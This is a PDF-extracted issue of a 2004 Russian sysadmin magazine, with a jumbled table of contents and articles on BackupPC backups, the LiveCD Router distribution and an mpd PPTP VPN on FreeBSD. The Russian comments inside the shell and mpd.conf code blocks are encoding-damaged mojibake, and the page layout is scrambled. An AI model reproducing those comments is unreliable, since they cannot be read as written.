№9(22) сентябрь 2004 подписной индекс 81655 www.samag.ru
Linux на страже Windows: обзор системы резервного копирования BackupPC GRSecurity – система безопасности для Linux Роутер без диска Windows XP Service Pack 2 глазами системного администратора Возможно ли повышение точности IDS PostgreSQL: графический клиент pgAdmin
№9(22) сентябрь 2004
FreeBSD tips: устанавливаем VPN Восстановление данных на NTFS-разделах Пакетные команды интерфейса ATAPI PHP 5 – пришествие неизбежно
оглавление АДМИНИСТРИРОВАНИЕ
БЕЗОПАСНОСТЬ
Linux на страже Windows. Обзор и установка системы резервного копирования BackupPC
Крепкий орешек
Андрей Маркелов andrew@markelov.net
Обзор дистрибутива Adamantix – инструмента для повышения защищенности систем на базе Linux.
2
Роутер без диска
grinder@ua.fm
40
grinder@ua.fm
Бессонная ночь админа, или Возможно ли повышение точности IDS
Обзор дистрибутива Linux LiveCD Router.
Сергей Яремчук
Сергей Яремчук
8
FreeBSD tips: устанавливаем VPN
Сергей Яремчук
42
grinder@ua.fm
GRSecurity Система безопасности для Linux.
Сергей Супрунов amsand@rambler.ru
10
Кирилл Тихонов
48
aka_shaman@mail.ru
Взаимодействие shell-скриптов с пользователем посредством Zenity Андрей Уваров dashin@ua.fm
ОБРАЗОВАНИЕ 12 Восстановление данных на NTFS-разделах
PostgreSQL: графический клиент pgAdmin Сергей Супрунов amsand@rambler.ru
Крис Касперски
60
kk@sendmail.ru
14 ПРОГРАММИРОВАНИЕ
Windows XP Service Pack 2 глазами системного администратора
Пакетные команды интерфейса ATAPI Владимир Мешков
Михаил Платов platov@cs.vsu.ru
20
Особенности запуска внешних команд из ASP-страниц
Настраиваем соединение по выделенной линии
Иван Коробко Антон Борисов a.borisov@tesv.tmb.ru
70
ubob@mail.ru
30
ikorobko@prosv.ru
86
PHP 5 – пришествие неизбежно Кирилл Сухов geol@altertech.ru
BUGTRAQ №9(22), сентябрь 2004
90 29, 85 1
администрирование
LINUX НА СТРАЖЕ WINDOWS ОБЗОР И УСТАНОВКА СИСТЕМЫ РЕЗЕРВНОГО КОПИРОВАНИЯ BackupPC
АНДРЕЙ МАРКЕЛОВ Думаю, в настоящее время никто уже не станет спорить с утверждением, что процесс вхождения Linux в корпоративный мир стал необратимым, а процент установок этой операционной системы на серверах в различных организациях постоянно возрастает. Можно бесконечно спорить о преимуществах одних операционных систем над другими, но когда у меня возникло желание сделать единое хранилище для ежедневных архивов информации с более десяти серверов своей организации, работающих под управлением нескольких различных ОС, я свой выбор остановил на платформе Linux. До сих пор каждый сервер с помощью уникальных для него скриптов в назначенное время сбрасывал по сети на сервер резервного копирования или stand by-сервер какие-то свои данные, например, пользовательские файлы с сетевых дисков, или дампы базы данных. Для этого использовались различные протоколы: ftp, SMB или штатные средства СУБД. При этом приходилось следить за уникальным для каждого сервера лог-файлом, и в случае каких-либо изменений в стратегии резервного копирования править скрипты на каждой машине. Чтобы как-то упростить администрирование и сократить время, затрачиваемое на поддержку и мониторинг всего этого «зоопарка», я начал искать систему, которая бы поддерживала копирование информации по сети, умела делать инкрементальные бэкапы, поддерживала бы удаленное администрирование и не требовала установки клиентского программного обеспечения. Кроме того, было важно, чтобы система умела работать по протоколу SMB, так как часть серверов, в частности основной файл-сервер, работали под управлением ОС Windows. Спустя непродолжительное время такая система была найдена. Ею оказалась открытая, распространяющаяся по лицензии GNU система архивирования данных масштаба предприятия BackupPC. Сайт расположен по адресу http:// backuppc.sourceforge.net. Основные особенности рассматриваемой программы: ! Язык программирования, на котором написана система, – Perl. ! Минимизация хранимой информации за счет того, что идентичные файлы из разных резервных копий хранятся только в одном экземпляре. ! Настраиваемая степень сжатия данных. ! Поддержка работы по протоколам smb/ssh/rsh/nfs. ! Мощный CGI-интерфейс, позволяющий управлять сервером по сети посредством веб-браузера. ! Поддержка архивирования информации с машин, получающих настройки сети через DHCP, разрешая имена при помощи nmblookup.
2
! Гибкие настройки планирования архивации данных. ! Оповещения о выполненных действиях администратора и пользователей посредством электронной почты.
! Поддержка клиентов, работающих под управлением Linux, Freenix, Solaris Win95, Win98, Win2000 и WinXP. Сервер тестировался на Linux, Freenix и Solaris. ! Очень подробная документация. В данной статье я хочу обобщить свой опыт установки, настройки и эксплуатации этой системы, а также поделиться решением нескольких проблем, которые возникли в процессе установки. Я проверял работу BackupPC версии 2.1.0, последней на момент написания статьи, при помощи тестовой машины под управлением Fedora Core 2, и на «боевых» серверах, работающих на Red Hat Linux 9 и White Box Enterprise Linux 3. Операционная система, стоящая на тестовом сервере фактически является альфа-версией будущего Red Hat Enterprise Linux 4, а White Box Enterprise Linux 3 перекомпиляцией из свободно доступных исходных текстов текущей, третьей версии коммерческого Linux-дистрибутива от Red Hat. Необходимость использовать не поддерживающуюся более «девятку» возникла при установке RAID-контроллера Promise SuperTRAX SX6000, для которого существовали драйвера только под эту операционную систему.
Требования к установке Прежде чем приступить непосредственно к инсталляции и настройке самой системы резервного копирования BackupPC, необходимо определиться с требованиями к программному окружению, в котором должен работать сервер. Во-первых, как я уже писал, это операционная система, в роли которой может выступать Linux, Solaris либо другая UNIX-подобная система. Во-вторых, необходимо предусмотреть наличие вместительного RAID-массива, или использовать LVM. Кроме того: Perl версии 5.6.0 или выше, Sambaи Apache-сервер. В этой статье я не буду касаться настройки клиента Samba, в частности, работы в составе Active Directory. Я предполагаю само собой разумеющимся, что если вы планируете производить архивацию информации с Windowsсерверов, работающих в составе домена, то и должны обеспечить к ним доступ вашей Linux-машины. Отсутствие описания процесса конфигурирования Samba-сервера в данной статье, думаю, компенсируется многочисленными материалами на эту тему в Интернете. Также предполагается, что вы используете кодировку KOI-8 вместо установленной по умолчанию в большинстве современных дистрибутивов UTF-8. Red Hat, в частности,
администрирование перешла на ее использование с версии 8.0 своего продукта. Но дело в том, что поддержка русского языка при помощи UTF-8 во многих приложениях далека от совершенства. Безусловно, лучшим решением была бы работа с UTF-8, но в данном случае я предпочел пойти по пути «наименьшего сопротивления» и воспользоваться уже существующими у меня наработками. Соответственно должен быть настроен и веб-сервер, у которого в качестве кодировки по умолчанию должно быть указано KOI8-R. Приступая к установке BackupPC, в системе необходимо иметь следующие perl-модули: Compress::Zlib, Archive::Zip и File:RsyncP. Проверить наличие установленных модулей можно, дав команду:
теля (httpd или apache), требуется Suid Perl. В Red Hat дистрибутивах соответствующий пакет называется perl-suidperl. Ну и, наконец, добавим пользователя, из-под которого будет выполняться запуск системы резервного копирования: #useradd backuppc
После окончания тестирования системы нелишним будет убрать для пользователя backuppc возможность интерактивного входа.
Установка BackupPC Теперь можно приступить непосредственно к установке BackupPC. Развернем архив и запустим конфигурационный скрипт:
perldoc <èìÿ ìîäóëÿ>
Если в ответ будет получено сообщение вида:
#tar zxvf BackupPC-x.x.x.tar.gz #cd BackupPC-x.x.x #perl configure.pl
No documentation found for “Compress::Zlib”
следовательно, в вашей системе данный модуль еще не установлен. Оба дистрибутива, в которых я устанавливал BackupPC, по умолчанию этих модулей не содержат. Процедура установки модулей, которые можно скачать с www.cpan.org, следующая: #tar zxvf èìÿ_àðõèâà.tar.gz // ðàçàðõèâèðóåì èñõîäíèêè #perl Makefile.PL // ôîðìèðóåì makefile #make // êîìïèëèðóåì èñõîäíèêè #make test // ïîñëå âûïîëíåíèÿ ýòîé êîìàíäû ìû äîëæíû ïîëó÷èòü // ñîîáùåíèå, ÷òî âñå òåñòû ïðîéäåíû óñïåøíî #make install
Имеющие опыт общения с оболочкой cpan, могут поступить проще – для установки модулей воспользоваться ею. В случае RHEL3 для успешной компиляции модуля Archive::Zip пришлось дать команду: export LANG=en_US
без которой он отказался «собираться». Кроме того, мне пришлось установить отсутствующую в дистрибутивах от Red Hat утилиту par2, которая создает «избыточную информацию» для файлов с использованием кодов Рида-Соломона, и позволяет восстанавливать файлы, повреждённые до определённой степени. Скачиваем с сайта http://parchive.sourceforge.net исходники в виде файла par2cmdline-0.4.tar.gz, и выполняем команды: #tar zxvf par2cmdline-0.4.tar.gz #cd par2cmdline-0.4 #./configure #make #make check #make install
В принципе установка par2cmdline не обязательна, так как по умолчанию BackupPC работает и без нее. Но все же я рекомендовал бы ее установить, особенно при отсутствии RAID-массива на сервере. Также для корректной работы CGI-интерфейса при стандартной установке системы, когда веб-сервер запускается из-под специально выделенного для этих целей пользова-
№9(22), сентябрь 2004
В ходе установки вам потребуется ответить на ряд вопросов. На первый – просьбу указать полный путь к уже установленной старой версии – можно ответить, просто нажав «Enter», поскольку выполняется первоначальная установка. После вам будут показаны пути к утилитам, требуемым BackupPC, которые скрипт определил самостоятельно, с просьбой подтвердить их расположение. Затем необходимо проверить, правильно ли скрипт определил имя хоста и имя пользователя, которого мы создали ранее, а также директорию для установки исполнимых файлов и директорию для хранения данных. В зависимости от быстродействия сервера вам необходимо будет выбрать уровень компрессии резервируемых данных. Уровень можно менять от 1 до 9. По умолчанию предлагается третий уровень. По заявлениям разработчиков, при увеличении c «умолчальной» тройки до пятерки, например, загрузка процессора увеличивается на 20%, а данные занимают на 2-3% меньше места. По этим данным видно, что особого смысла увеличивать степень сжатия нет. При первоначальной установке я бы порекомендовал оставить тройку. Позднее можно попробовать поэкспериментировать с этим значением, поменяв его в конфигурационном файле. Следующий вопрос касается пути к cgi-bin директории вашего веб-сервера (в Red Hat-подобных дистрибутивах это /var/www/cgi-bin/) и пути к директории с устанавливаемыми
3
администрирование иконками для CGI-интерфейса (/var/www/html/BackupPC). Кроме того, будет предложено ввести часть URL, указывающего на иконки, а именно расположение относительно корневого каталога веб-сервера. Обратите внимание, что путь должен начинаться со слэша. В нашем случае он будет выглядеть как /BackupPC.
Настройка BackupPC
! $Conf{MaxBackups} – максимальное число одновременных процессов архивирования.
! $Conf{DfMaxUsagePct} – при заполнении указанного в !
Как и большинство программ, работающих под управлением UNIX-подобных систем, настройка и изменение параметров сервера BackupPC производится правкой конфигурационных файлов. К чему мы и приступим. Интересующий нас файл config.pl расположен в подкаталоге /conf, который был создан внутри директории, предназначенной для хранения данных. На самом деле этот файл очень хорошо документирован, поэтому я пройдусь лишь по основным параметрам. Config.pl состоит из четырех групп настроечных значений, содержащих: ! основные параметры сервера; ! описание тех машин, информацию с которых нужно архивировать; ! указания, как часто это надо делать; ! параметры CGI-интерфейса.
!
! $Conf{WakeupShedule} – как часто сервис должен про-
!
верять, были ли изменения на подлежащих архивированию компьютерах, и в случае изменений выполнять резервирование данных. По умолчанию – каждый час, кроме полуночи.
4
! ! ! !
!
!
процентах объема диска, заданного для хранения данных, архивирование не производится. По умолчанию 95%. $Conf{SmbShareName} – имя расшаренного ресурса на Windows-машине. По умолчанию – это диск C:\, который в Win2000/XP доступен через SMB по имени «С$». $Conf{SmbShareUserName} – имя пользователя на Windows-машине, которому даны права на ресурс общего доступа . $Conf{SmbSharePasswd} – его пароль. В настоящее время он приводится в открытом виде. В следующих версиях планируется хранение в зашифрованном виде. $Conf{FullPeriod} – период в днях между полными резервными копиями. $Conf{IncrPeriod} – период в днях между инкрементальными резервными копиями. $Conf{FullKeepCnt} – максимальное число сохраняемых полных резервных копий. $Conf{BackupFilesOnly} – список директорий, которые необходимо архивировать. По умолчанию – не определено. $Conf{BackupFilesExclude} – то же самое, но для директорий-исключений. $Conf{ArchivePar} – при использовании par2cmdline процент избыточных данных в архиве. По умолчанию – 0. $Conf{EmailAdminUserName} – почтовый адрес администратора, на который будут приходить сообщения об ошибках и предупреждениях.
администрирование ! $Conf{CgiAdminUserGroup} и $Conf{CgiAdminUsers} – пользователи и группы, которым доступен CGI-интерфейс. Обратите внимание, что параметры, относящиеся к конкретной машине, могут быть переопределены машиннозависимым файлом Config.pl, который хранится в поддиректории каталога с данными /BackupPC/pc/<имя_компьютера>/. Действительно, на каждой машине могут быть свои конкретные папки общего доступа, списки исключений, свой локальный пользователь с паролем, для которого установлены свои разрешения. Теперь настроим список компьютеров, данные с которых необходимо архивировать. Файл с настройками находится в том же каталоге, где и основной конфигурационный файл, и называется hosts. Собственно, синтаксис файла максимально прост. Каждая строчка содержит три параметра: имя машины, имя (e-mail) ее хозяина и признак, получает ли данный компьютер сетевые настройки по DHCP или нет. Теперь осталось скопировать скрипт старта и остановки сервиса из дистрибутива /init.d/linux-backuppc в /etc/rc.d/ init.d/backuppc, в случае Red Hat дистрибутива, а затем можно попробовать стартовать BackupPC командой: #service backuppc start
Кроме того, нелишне добавить автоматический старт при загрузке сервера в консоль и в X-Window:
№9(22), сентябрь 2004
#chkconfig - -add backuppc #chkconfig - -level 35 backuppc on
К сожалению, данные действия приходится делать вручную, так как разработчики не включили эти операции в установочный скрипт. В лог-файле messages вашего сервера должно появиться сообщение об успешном старте сервиса, а в директории с данными /BackupPC/log будет создан подробный лог самого сервиса. После успешного старта можно попробовать запустить браузер, и обратиться по адресу http://имя_сервера/cgi-bin/BackupPC_Admin. Если вы сделали все правильно, то должны получить нечто подобное тому, что изображено на рисунках. В случае проблем с доступом к CGI-интерфейсу рекомендую обратиться к FAQ на сайте http:// backuppc.sourceforge.net. В большинстве случаев в первую очередь необходимо проверить права доступа к файлам и директориям BackupPC. Однако, если вы следовали приведенному порядку установки, таких проблем возникнуть не должно.
Русификация Еще одной проблемой при работе с CGI-интерфейсом, решение которой, однако, пришлось искать самому, может стать некорректное отображение русских имен файлов и папок. Для исправления этой ситуации придется внести небольшие изменения в файл Lib.pm, расположенный в подкаталоге /CGI директории с исполняемыми файлами программы. Данный файл содержит системные процедуры BackupPC.
5
администрирование Во-первых, найдите в теле процедуры Header строчку: «print $Cgi->header();»
и замените ее на: «print $Cgi->header(-charset=>”koi8-r”);»
Ну а во-вторых, в процедуре EscHTML закомментируйте предпоследнюю строчку, стоящую перед «return»: «$s=~s{([^[:print:]])}{sprintf(“&\#x%02X;”, ord($1));}eg;»
Теперь все имена будут отображаться в нормальном виде, используя кодировку KOI-8. Кроме того, рекомендую обратить внимание на папку /lib/BackupPC/Lang, которая находится в директории с исполнимыми файлами. Там находятся файлы с локализованными сообщениями, выводимыми CGI-интерфейсом. В комплект поставки русский язык не входит, но вам ничего не мешает создать свой файл по образцу существующих, переведя сообщения с английского на русский язык. Часть этой работы я уже проделал для своего «внутреннего» использования. Перевод, не претендующий на полноту и высокое литературное качество, я выложил на своем сайте. Скачать архив можно по ссылке http://www.markelov.net/ program/bpcrus.tgz.
6
Интерфейс Интерфейс системы достаточно прост и нагляден. Обратившись по адресу: http://имя_сервера/cgi-bin/BackupPC_ Admin, вы попадаете в окно с общей информацией по серверу BackupPC. В левой части окна присутствует меню с ссылками на более подробную информацию по работе всего сервера, а также выпадающее меню с возможностью выбора информации по конкретному архивируемому хосту. Зайдя в меню по конкретному хосту, можно получить всю информацию касательно выполненных операций резервирования данных, просмотреть списки архивных копий, а также «провалиться» в любой из них и восстановить файлы и каталоги полностью или частично. Также имеется возможность скопировать любой из файлов средствами браузера на ту машину, с которой вы зашли на сервер. Заходя в инкрементальную резервную копию, вы видите полную картину сохраненной файловой системы, то есть полную резервную копию плюс наложенную на нее инкрементальную копию. А для всех измененных файлов можно просмотреть список версий и восстановить нужную из них. Кроме того, все операции по работе с архивами можно выполнять из командной строки, но я не вижу смысла приводить здесь синтаксис команд, поскольку он подробно описан в документации, идущей в составе дистрибутива. В конце мне хотелось бы поблагодарить Павла Шера за ряд ценных советов, которые мне пригодились при написании статьи.
администрирование
РОУТЕР БЕЗ ДИСКА СЕРГЕЙ ЯРЕМЧУК В работе подчас встречаются ситуации, когда осуществление тех или иных мероприятий или действий традиционным путем если не то, что совсем невозможно, а просто неудобно, а привычные инструменты оказываются практически бесполезны. Вот и у меня возникла ситуация, когда для показа возможностей необходимо было в короткие сроки собрать и настроить сеть. А так как это была всего лишь презентация и все задействованные компьютеры использовались в реальной работе, то одним из требований было поменьше трогать настройки и ПО, для того чтобы можно было быстро вернуть все в рабочее состояние. Если с клиентскими компьютерами более-менее все решалось просто: где доустановкой пары программ, где использованием GNU/Linux LiveCD-дистрибутивов, то с роутером вышла заминка. Имеющиеся у меня образцы либо не удовлетворяли по возможностям, либо требовали установки на жесткий диск, либо серьезного изменения настроек системы, что меня не совсем устраивало. Поэтому пришлось искать инструмент, который сможет помочь в такой ситуации. И конечно же, он нашелся. Аргентинский дистрибутив Linux LiveCD Router подходит как нельзя лучше при демонстрации или тестировании возможностей, проверке совместимости оборудования, самостоятельном изучении или обучении работе с UNIX-системами, настройке доступа в Интернет в короткие сроки, а может, и в других ситуациях, кои жизнь подкидывает постоянно. Системные требования к оборудованию невысоки: процессор 486 и выше, ОЗУ от 16 Мб, 2X CD-ROM, одна и более сетевых карт и опционально WiFi-карта и дисковод. Жесткий диск, естественно, не нужен. Домашняя страница http://www.wifi.com.ar/ cdrouter.html, размер небольшой – 93 Мб. Дистрибутив доступен для свободного скачивания, плата берется за техническую поддержку, подробную документацию по использованию и за более оснащенные версии дистрибутива. Основные возможности: ! Не требует установки, система просто загружается с CDROM, но чтобы каждый раз не вводить настройки, их можно сохранить на дискету. ! Поддерживает различные типы устройств xDSL, Frame Relay, Dial-Up, Ethernet, WiFi и пр. ! Включает Firewall Shorewall и NAT. ! Может использоваться и как точка доступа (Access Points) для WiFi. ! Удаленное управление через Web и SSH. ! Кэширование DNS-запросов. ! Удаленный мониторинг при помощи SNMP и вывод статистики в графической форме. ! Легко уживается в сети с компьютерами Windows и Mac. Если оборудование не поддерживает загрузку с CDROM, то по адресу http://www.wifi.com.ar/download/bootfloppy
8
имеется образ для загрузки с дискеты. Базируется LiveCD Router на Slackware 9.1, ядро 2.4.24, поэтому если имеющееся у вас оборудование не поддерживается, то можно взять необходимые модули со Slackware, перенести на дискете или другим способом и положить в /lib/modules/2.4.24. Аналогично можно и добавить приложения, взяв необходимые пакеты, и установить их при помощи installpkg или pkgtool. Загрузка дистрибутива не представляет собой ничего интересного, только обращайте внимание на сообщения об ошибках. Для входа в систему используем логин: root и пароль: cdrouter, никаких утилит, помогающих в настройке, в дистрибутиве почти нет, поэтому единственным путем достижения цели будет в большинстве случаев ручная настройка. Хотя для новичков, наверное, удобным будет использование веб-интерфейса Webmin, о некоторых возможностях которого я писал в прошлом номере журнала. Для доступа используется порт 10000 (например, http://192.168.1.1:10000) и логин/пароль admin/ cdrouter. Первоначально вас встретит испанский язык интерфейса, поэтому лучше его сменить (Webmin-Change Language and Theme). Произвести необходимые настройки и просмотреть информацию можно, зайдя в один из пунктов в «Sistema LiveCD Router» (Log File Rotation, пользователи и группы, пароли, системное время, задания, процессы и пр.). В пункте «Команды пользователя» доступны четыре готовые команды, для запуска которых достаточно нажать на кнопку (при наличии прав): «Guardar Configuracion a Floppy» и «Volver a Configuracion guardada en Floppy» – соответственно сохранение и восстановление конфигурации с флоппи-диска; «Frottle Config File» – редактирование конфигурационного файла Frottle (Freenet throttle, http://frottle.sourceforge.net) /etc/frottle.conf, утилиты, предназначенной для контроля трафика в беспроводных сетях; «Linux LiveCD Router Startup File» – редактируется файл /etc/rc.d/rc.local. По умолчанию в этом файле прописан запуск веб-сервера Apache и Webmin, для примера закомментированы строки с настройкой интерфейса eth1, MRTG и Firewall Shorewall. Интерфейс eth0 при запуске поднимается с адресом 192.168.1.1, при необходимости в файле /etc/rc.d/rc.inet1 (или утилиты netconfig или webmin – сеть) можно изменить адрес либо установить автонастройку при помощи DHCP, после чего перезапускаем: #/etc/rc.d/rc.inet1
Дистрибутив переконфигурирован с настройками для внешнего модема вроде US Robotics, подключенному к первому COM-порту /dev/ttyS0, но поддерживаются и некоторые внутренние модемы. Для настройки параметров дозвона, чтобы не прибегать к ручному редактированию фай-
администрирование лов, новичкам советую воспользоваться утилитой pppsetup. После чего попробовать дозвониться, введя ppp-on, остановка при ppp-off. Аналогично для настройки ADSL-модема используем adsl-setup и запускаем/останавливаем adslstart/adsl-stop. Команда iptables -L -v выдает пустые цепочки, что вполне естественно, т.к. по умолчанию все строки в файле /etc/rc.d/rc.firewall закомментированы, если планируется выход в Интернет, то это надо подправить. Firewall Shorewall настроен (конфигурацию можно просмотреть в файлах, расположенных в каталоге /etc/shorewall) на работу с двумя ethernet-адаптерами eth0 и eth1, и в такой конфигурации можно ничего не трогать, а только запустить. Настроив один раз все параметры, естественно, не хочется повторять эту процедуру сначала, поэтому их можно сохранить на дискету, воспользовавшись командами через Webmin или вручную. #configsave /dev/fd0
Восстановить настройки. #configrestore /dev/fd0
Хотя если вставить дискету во время загрузки системы, то параметры будут считаны автоматически. Со списком поддерживаемых WiFi-устройств можно ознакомиться на странице http://www.wifi.com.ar/doc/wifi/ wlan_adapters.html. Поддерживается большое количество адаптеров, как внешних (USB, pcmcia), так и внутренних, на чипах prism2 и Hermes, используются драйвера hostap,
№9(22), сентябрь 2004
orinoco и linux-wlan-ng. Некоторые изготовители подобных устройств отказываются от производства драйверов для систем, отличных от Microsoft Windows, некоторые из них (вроде Intel Centrino 2100, 3Com 3CRSHPW796) можно заставить работать при помощи утилиты ndiswrapper (http:// ndiswrapper.sourceforge.net), в качестве входного параметра которой указывается inf файл. Дополнительно к упоминаемой выше утилите frottle, статус работы которой можно просмотреть, набрав http://192.168.1.1/frottle/frottle.html, в комплект включена и утилита мониторинга WiFi-сетей wavemon. Имеется и веб-сервер Apache, поэтому если просто набрать в браузере IP-адрес LiveCD Router, то получите доступ к документации по настройке утилит, входящих в комплект, и статистике MRTG, Frottle. Интересно, что при загрузке система обнаруживает разделы ext3 и FAT и монтирует их в режиме чтение-запись в каталог /mnt. Из клиентских приложений присутствуют веб-браузеры links и lynx, почтовые клиенты mutt nail и пакеты для работы по протоколу ftp – ncftp и lftp, так что в случае крайней необходимости можно использовать LiveCD Router для получения информации из Интернета. Для тех же, кто решится использовать дистрибутив в качестве постоянного маршрутизатора, может пригодиться наличие демона genpowerd, работающего в паре с UPS и позволяющего оперативно реагировать на нарушения электропитания. Скорее всего совет использовать LiveCD-дистрибутив для организации постоянного доступа в сеть вряд ли ктото воспримет всерьез, но в случае непредвиденных обстоятельств это может быть тот единcтвенный инструмент, который поможет быстро решить проблемы.
9
администрирование
FreeBSD TIPS: УСТАНАВЛИВАЕМ VPN
СЕРГЕЙ СУПРУНОВ Недавно мне пришлось столкнуться с такой задачей: имеется локальная сеть с адресами 10.x.x.0/24.
Для работы с вышестоящим сервером корпоративной сети машины должны иметь адреса из этого диапазона, и пакеты в данном случае уходят непосредственно на Ethernetпорт коммутатора (точнее, заворачиваются туда правилами ipfw, работающего на сервере FreeBSD). Доступ в Интернет осуществляется с помощью трансляции адресов (NAT). Однако для работы с некоторыми внешними серверами мне нужно было иметь реальный адрес, причем работа через NAT или proxy-сервер не поддерживалась. Ставить себе вторую сетевую карту и тащить отдельный сегмент до сервера, в который тоже пришлось бы устанавливать еще один (уже третий) сетевой адаптер, очень не хотелось. Вариант с назначением себе в каждый момент времени нужного адреса тоже не радовал (хоть Windows XP и не требует перезагрузки после изменения сетевых адресов, но все равно процедура не из приятных). Тогда было принято решение «пробросить» до сервера так называемую виртуальную частную сеть (VPN), о чем и пойдет речь в данной статье.
10
Прежде всего нужно было поднять на FreeBSD VPN-сервер. Почитав немного про такие средства, как poptop и mpd, свой выбор я остановил на последнем как более «родном» для FreeBSD. Mpd использует интерфейс netgraph, благодаря чему большинство операций выполняется на уровне ядра системы, тем самым повышая скорость работы. Как правило, специально включать поддержку netgraph в ядро не требуется – она подгружается и отлично работает в виде модулей, в чем можно убедиться с помощью команды kldstat (после того, как mpd будет установлен и запущен):
Однако при желании ядро можно и пересобрать, включив все опции, начинающиеся с «NETGRAPH_». В ряде случаев, особенно для старых версий FreeBSD (например, 3.х), это может дать дополнительный прирост быстродействия. Для установки mpd проследуем в коллекцию портов и выполним там ряд нехитрых действий: # cd /usr/ports/net/mpd # make # make install
Поскольку мы ничего не меняли, то исполнимые файлы будут помещены в /usr/local/sbin, а файлы конфигурации
администрирование можно будет найти в /usr/local/etc/mpd – стандартная для FreeBSD раскладка. Сценарий автозапуска будет находиться в /usr/local/etc/rc.d. Сразу после инсталляции файлы конфигурации и сценарий будут иметь расширение «.sample», следовательно, их нужно переименовать, убедившись, что никакие исправления (например, другие пути) в них вносить не нужно. Единственное, что от нас теперь требуется, – отредактировать конфигурационные файлы для нашей задачи и запустить серверный процесс mpd. Файл mpd.conf примет примерно следующий вид: #------------------- mpd.conf -------------------------default: # Óêàçûâàåì, êàêóþ êîíôèãóðàöèþ ãðóçèòü (â ïðèíöèïå âñå # ïàðàìåòðû ìîæíî çàäàòü è íåïîñðåäñòâåííî â ñåêöèè default): load pptp0 pptp0: # Îáúÿâëÿåì íîâûé èíòåðôåéñ ng0: new -i ng0 pptp0 pptp0 # Ïîñêîëüêó ìû íèêóäà íå çâîíèì, òî óñòàíàâëèâàòü # ñîåäèíåíèå ïî òðåáîâàíèþ íå íóæíî: set iface disable on-demand # Ðàçðåøàåì ïðîõîæäåíèå arp-çàïðîñîâ: set iface enable proxy-arp # Çàïðåùàåì ðàçðûâàòü ñâÿçü ïðè ïðîñòîå: set iface idle 0 # Îãðàíè÷åíèå íà ðàçìåð èñõîäÿùèõ ïàêåòîâ çíà÷åíèåì MTU: set iface enable tcpmssfix # Óêàçûâàåì, ÷òî íàøå ñîåäèíåíèå – íå ìóëüòèëèíê: set bundle disable multilink # Òðåáóåì øèôðîâàíèå: set bundle yes crypt-reqd # Âêëþ÷àåì êîìïðåññèþ: set bundle enable compression set link yes acfcomp protocomp # Ðàçðåøàåì òîëüêî chap-àâòîðèçàöèþ: set link no pap chap set link enable chap # Èíòåðâàëû ïðîâåðêè ëèíêà íà «æèçíåñïîñîáíîñòü»: set link keep-alive 10 60 # Ðàçìåð «îêíà îòñûëêè»: set link mtu 1460 # Ðàçðåøàåì êîìïðåññèþ TCP-çàãîëîâêà: set ipcp yes vjcomp # Ñëåäóþùèé ïàðàìåòð çàäàåò äèàïàçîíû IP-àäðåñîâ # íà ñòîðîíå ñåðâåðà è íà ñòîðîíå êëèåíòîâ â âèäå # set ipcp ranges local[/width] remote[/width] #  íàøåì ñëó÷àå ñåðâåðó è êëèåíòó íàçíà÷àåòñÿ ïî îäíîìó # àäðåñó: set ipcp ranges 197.y.y.73 197.y.y.75 # Ñëåäóþùèå ÷åòûðå îïöèè cpp îïðåäåëÿþò ïðîòîêîëû # óïðàâëåíèÿ ñæàòèåì (compression control protocol) – # äëÿ ðàáîòû ñ Windows-êëèåíòàìè. Âêëþ÷àåì ïîääåðæêó ñæàòèÿ # MPPC (Microsoft Point-to-Point Compression): set ccp yes mppc # Ïîääåðæêà 40-áèòíîãî êîäèðîâàíèÿ: set ccp yes mpp-e40 # Ïîääåðæêà 128-áèòíîãî êîäèðîâàíèÿ: set ccp yes mpp-e128 # Stateless-ðåæèì, óìåíüøàåò âðåìÿ âîññòàíîâëåíèÿ ïðè ñáðîñå # (drop) ïàêåòà: set ccp yes mpp-stateless # Àäðåñ, íà êîòîðîì VPN-ñåðâåð æäåò ñîåäèíåíèÿ: set pptp self 10.õ.õ.254 # Ðàçðåøàåì âõîäÿùèå ñîåäèíåíèÿ: set pptp enable incoming # Èíèöèèðîâàòü ñîåäèíåíèå ñî ñòîðîíû mpd íå íóæíî: set pptp disable originate
С остальными параметрами можно ознакомиться в достаточно подробной html-документации (см. /usr/ports/net/ mpd/work/mpd-3.18/doc). В частности, может потребоваться прописать DNS-сервер, назначаемый устанавливаемому соединению. В принципе все можно оставить в таком же виде, изменив только IP-адреса на нужные. В качестве собственного адреса (pptp self) должен быть задан адрес интерфейса, на
№9(22), сентябрь 2004
котором сервер будет ожидать входящие соединения (в моем случае это «внутренний» интерфейс FreeBSD, смотрящий в локальную сеть). В качестве адреса сервера для соединения VPN задан адрес «внешнего» интерфейса, маршрутизируемого в Интернет. Поскольку со стороны VPN-сервера никуда дозваниваться не требуется, то настройки в mpd.script для нас несущественны. Остальные два конфигурационных файла будут выглядеть примерно так: #--------------------- mpd.links ----------------------pptp0: set link type pptp #------------------- mpd.secret -----------------------username "userpassword" *
То есть в mpd.links просто описывается тип связи (pptp – point to point tunneling protocol). Строго говоря, не имеет особого значения, где именно описывать параметры линка – в mpd.links или непосредственно в mpd.conf (в нашем примере большинство команд set link размещены именно там). Это вопрос удобства при работе с большим количеством разнообразных соединений. В mpd.secret перечисляем пользователей с паролями, которым нужно будет устанавливать VPN-соединения (в данном случае такой пользователь только один). Не забывайте исключить возможность чтения данного файла кем-то еще, кроме суперпользователя root. Теперь запускаем сервер: # /usr/local/etc/rc.d/mpd.sh start
Чтобы убедиться, что сервер запустился и прослушивает порт 1723 (pptp) в ожидании подключений, выполните следующую команду:
Со стороны Windows никаких особых телодвижений не требуется – просто создаем соединение VPN, следуя указаниям мастера подключения. В качестве адреса назначения указывается «собственный» адрес VPN-сервера, то есть в нашем случае – 10.x.x.254. Теперь, когда нужно поработать с реальным адресом, просто устанавливается VPNсоединение, по окончании сеанса – закрывается. В заключение хочется отметить еще одно полезное свойство VPN-соединения – экономию адресного пространства. Если поставленную задачу решать «классическим» способом – с помощью дополнительных сетевых карт, то понадобится выделить как минимум 4 IP-адреса – на сторону сервера, клиенту, и 2 адреса пропадут «впустую» – как адрес подсети и широковещательный адрес. В случае же VPN мы занимаем только 1 действительно нужный нам адрес – адрес клиента. На сервере мы привязываемся к существующему адресу внешнего интерфейса, а «служебные» адреса в данном случае вообще не требуются.
Источники дополнительной информации: 1. http://sourceforge.net/projects/mpd 2. http://www.dellroad.org/mpd/index 3. man mpd(8), man netgraph(4), man ng_ppp(4)
11
администрирование
ВЗАИМОДЕЙСТВИЕ SHELL-СКРИПТОВ С ПОЛЬЗОВАТЕЛЕМ ПОСРЕДСТВОМ ZENITY
